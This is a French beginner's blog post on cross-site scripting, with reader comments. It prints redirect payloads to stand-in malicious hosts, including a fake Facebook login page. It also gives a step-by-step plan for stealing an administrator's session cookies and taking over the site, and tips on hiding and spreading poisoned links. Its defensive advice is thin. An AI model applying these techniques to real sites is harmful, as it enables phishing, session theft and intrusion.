XSS comme un nul(l)

ixessesse ? C’est quoi cette bête ?

Vous avez certainement déjà entendu parler du XSS : XSS par ci, XSS par là… Mais qu’est réellement le cross site scripting, comment un hacker peut-il exploiter ce genre de failles et dans quel but ?

Car oui, XSS veut dire « Cross Site Scripting »…

xss

Qu’est-ce que le XSS ?

On entend régulièrement parler de Cross Site Scripting. (ce n’est pas plus parlant en français : « Codage entre sites Internet ») On sait globalement que ça a quelque chose à voir avec JavaScript. Si l’on s’intéresse à la sécurité informatique, on sait même que le XSS est une faille de sécurité permettant à un utilisateur du site d’injecter du code JavaScript dans une page ouèbe.

Concrètement : si vous postez quelque chose comme « <script>alert(‘XSS’);</script> » dans un forum et qu’à l’affichage de votre commentaire une fenêtre contenant « XSS » s’ouvre, vous venez de mettre en évidence une faille de sécurité.

Quels sont les risques concrets ?

Trouver une faille de sécurité ne veut pas dire que l’on sait comment l’utiliser, ni même à quoi elle peut bien servir…

Amis administrateurs, ne vous en faites pas. Ce genre de faille ne peut pas être exploitée pour obtenir un accès à votre serveur (quoique, on verra ça plus tard). Les cibles des pirates qui exploitent ce genre de failles sont les utilisateurs de votre site.

JavaScript s’exécute dans un navigateur WEB. Il n’est alors pas possible d’exécuter un script directement sur le serveur en utilisant le XSS.

Concrètement, un pirate pourra :

  • Utiliser votre compte si vous êtes authentifié pour poster des messages ou exécuter toute autre action que vous pourriez faire normalement.
  • Vous rediriger vers un site web malveillant qui exploiterait, par exemple, une faille JAVA pour installer un cheval de Troie sur votre ordinateur.
  • Vous rediriger vers une page d’authentification ressemblant trait pour trait à la page d’authentification du site où vous étiez, dans le but de vous voler vos identifiants.
  • Propager un code source malveillant à tous vos contacts si la faille existe sur un réseau social.
  • Utiliser votre ordinateur pour participer à une attaque par déni de service (DDoS)
  • Bref, tout ce qui peut être fait avec du JavaScript…

Comment exploiter une faille XSS

La manière d’exploiter une faille XSS dépend beaucoup de l’emplacement de cette faille.

Un paramètre dans l’URL

Bien souvent, les développeurs pensent à protéger les champs de saisie de leur site. Ils oublient cependant les paramètres que l’on peut définir dans l’URL.

http://www.mon-super-site.fr/?title=<SCRIPT>document.location='http://mouhahaha.co.cn/'</SCRIPT>

L’accès à cette URL redirigera tout simplement sur le site http://mouhahaha.co.cn qui pourra par exemple lancer une applet JAVA exploitant un bug pour installer meterpreter sur votre ordinateur, avant de vous rediriger à nouveau vers le site légitime http://www.mon-super-site.fr.

Sur un site du gouvernement français...

Sur un site du gouvernement français…

Attaque ciblée

Dans le cas d’une attaque ciblée, un hacker pourra par exemple envoyer par mail (ou message sur un réseau social) ce lien à sa cible qui ne se doutera de rien vu que l’URL semble tout à fait légitime : peu de monde lit plus loin que http://www.mon-super-site.fr.

Attaque de masse

Google est aussi l’ami des hackers : si vous réussissez à faire en sorte que votre lien corrompu arrive devant la page légitime dans les résultats de recherche Google, énormément de monde se connectera à votre page !

Utilisez des méthodes de référencement, postez votre lien à droite et à gauche pour faire en sorte qu’il soit référencé.

Vous pouvez également utiliser une autre faille XSS pour automatiquement poster votre lien en masse sur des réseaux sociaux !

Un champ de saisie

Imaginez si vous pouviez poster du code JavaScript dans un message public sur FaceBook : le script s’exécutera chez toutes les personnes lisant le message.

Imaginez maintenant que le code JavaScript poste le message que vous venez de lire (qu’il s’auto-poste, quoi) sur votre mur en utilisant les outils FaceBook. Il ne faut pas oublier qu’un code JavaScript s’exécute dans la session utilisateur, dispose de vos cookies et de votre compte FaceBook.

Vous êtes en présence d’un virus qui peut rapidement mener à saturer FaceBook.

Vous pouvez bien sûr utiliser ce genre de faille pour propager l’URL malveillante que l’on a créée plus haut !

Exemple

Vous parcourez le mur d’un « ami » sur FaceBook.

Cet « ami » a posté un message contenant ce code JavaScript :

<script>document.location='http://faycebook.com/login.php';</script>

Ce code vous redirige instantanément vers une fausse page d’authentification FaceBook à chaque fois que vous visitez le mur de cet « ami » !

Vous ne faites pas attention à l’URL, vous pestez contre FaceBook qui pourrait quand même ne pas vous déconnecter, puis vous entrez vos identifiants avant d’être redirigé vers votre page d’accueil FaceBook.

Ceci n'est pas facebook !

Ceci n’est pas facebook !

Sauf que votre « ami » n’en est pas un et vous venez de lui donner vos identifiants !

Imaginez un peu si ce type de code est propagé en utilisant un virus XSS comme vu plus haut !

Attaquer un serveur à l’aide d’une faille XSS

Quel titre accrocheur !

Bon nombre d’entre vous me diront que c’est impossible…

Bien évidemment, il n’est pas possible d’utiliser une faille XSS pour pirater directement un serveur.

Rien n’est impossible dans le piratage, il faut seulement contourner les obstacles. Essayons d’imaginer un scénario permettant d’arriver à nos fins !

geek

Ce que l’on sait

  1. Bon nombre de sites (pour ne pas dire tous) disposent d’une adresse e-mail ou d’un formulaire de contact.
  2. Bon nombre de sites disposent d’une interface d’administration utilisant une session sur le serveur.
  3. L’identifiant d’une session sur un serveur est conservé dans les cookies (tiens tiens …)
  4. On peut facilement créer des cookies pour un domaine donné (avec FireBug, ou un bout de JavaScript dans le champ d’URL de votre navigateur)

Nous pouvons axer notre attaque sur la récupération de cookies et ce que l’on appelle du « session hijaking » (Vol de session).

Session_Hijacking_2

Méthodologie

  1. On crée un script JavaScript qui nous envoie toutes les secondes tous les cookies de l’utilisateur et insère une coquille dans la page WEB où l’on va l’intégrer.
  2. On insère ce script dans la page ou dans une URL référant à la page.
  3. On envoie un e-mail indiquant la coquille que l’on vient de créer à l’administrateur du site.
  4. Si l’on a de la chance, l’administrateur était déjà connecté à son interface d’administration et l’on peut immédiatement utiliser ses cookies et sa session. Sinon, il nous suffira d’attendre qu’il se connecte dans un nouvel onglet pour corriger la « coquille », et notre script nous enverra alors automatiquement les nouveaux cookies !
  5. Une fois que l’on a créé les cookies sur notre navigateur, il ne nous reste plus qu’à nous connecter à l’interface d’administration (pas besoin de s’identifier) !
  6. Nous venons de nous introduire, alors il faut profiter de ce court moment (si l’administrateur se déconnecte, on sera également déconnecté) pour aller dans l’interface de gestion des comptes et se créer un compte avec les plus hauts privilèges disponibles !

Interface d'administration

Si l’interface d’administration le permet, on peut en profiter pour :

  • Uploader un script malveillant sur le serveur
  • Lister les utilisateurs ayant accès à l’interface
  • Lister les adresses e-mail des utilisateurs ayant accès à l’interface (bien pratique si on perd les accès, on peut toujours usurper leur identité)
  • Modifier des pages du site pour y intégrer du code JavaScript afin de répandre une attaque
  • Supprimer des traces de connexion
  • Modifier des templates PHP pour récupérer des noms de serveurs, identifiants de base de données ou autre…
  • Supprimer des comptes utilisateurs
  • Supprimer des pages (supprimer le site ?)
  • etc.

Protéger son serveur

Pour la forme, je vais écrire quelques lignes sur le sujet, déjà traité maintes fois sur Internet…

Il faut systématiquement échapper les balises HTML de tout ce qui est affiché sur votre site et qui peut être modifié dynamiquement (qui n’est pas écrit en dur dans un fichier).

Si vous n’utilisez pas des balises de remplacement du type BBCode, et que vous ne pouvez pas vous permettre d’échapper toutes les balises HTML, vous pouvez remplacer toutes les chaînes de caractères « <script> » par « &lt;script&gt; » dans les champs qui ne doivent pas en contenir.

Conclusion

Le XSS est encore une faille très peu connue des développeurs.

On entend trop souvent dire que c’est une faille mineure qui ne peut pas faire beaucoup de mal.

C’est faux ! Le XSS doit être considéré comme étant une faille majeure ! Si elle n’est pas utilisée pour attaquer votre site, elle peut être utilisée pour attaquer vos visiteurs ou même d’autres sites sur Internet (par déni de service par exemple).

Si vous souhaitez exploiter une faille XSS, il faudra vous mettre sérieusement au JavaScript. Essayez de faire des scripts les plus petits possibles pour pouvoir les intégrer à des URL. Songez à utiliser l’encodage des caractères dans les URL afin de rendre votre script invisible pour les non-initiés.

Pas beaucoup de sources cette fois :

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , ,
Publié dans Informatique, Intrusion, Piratage
3 comments on “XSS comme un nul(l)
  1. gameandme dit :

    Bonjour,
    Le vol de session n’est pas si simple.
    En tant qu’attaquant, je ne vois pas comment on peut avoir acces a la page pour creer cette fameuse coquille.

    Mais imaginons que nous arrivons quand meme à faire en sorte que l’admin du site arrive sur votre page, et se tape la faille en question.

    Ok, on recupere bien son cookie, mais les cookies qui permettent l’authentification sont bien souvent en httponly, ce qui rend leur acces impossible par javascript. En tout cas, c ‘est le cas sur wordpress et sur d’autres CMS.

    • mystcaster dit :

      Bonjour,
      Effectivement, il existe des méthodes pour se protéger du vol session via XSS.
      Je donnais juste un exemple d’une attaque possible sur un site peu protégé.

      Un vol de session « standard » se fait plutôt par une attaque Man-In-The-Middle, et donc une écoute du réseau. L’identifiant de session est alors facilement accessible.
      Tu pourras trouver sur un autre de mes articles comment effectuer une attaque Man In The Middle (particulièrement redoutable sur des réseaux WIFI publics) : L’atteinte à la vie privée comme un nul(l), seconde partie/

      Comme expliqué dans cet article, une faille XSS ou CSRF peut être exploitée en insérant un code Javascript dans un champs de saisie vulnérable (commentaire d’un blog, post d’un forum, etc.) ou une URL dont les paramètres sont directement intégrés dans la page (cf certains sites institutionnels français, voir l’URL dans la barre d’adresse)

  2. lolo dit :

    alert(« Test du javascript »);

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
février 2013
L M M J V S D
« Jan   Mar »
 123
45678910
11121314151617
18192021222324
25262728  
Catégories
Archives
%d blogueurs aiment cette page :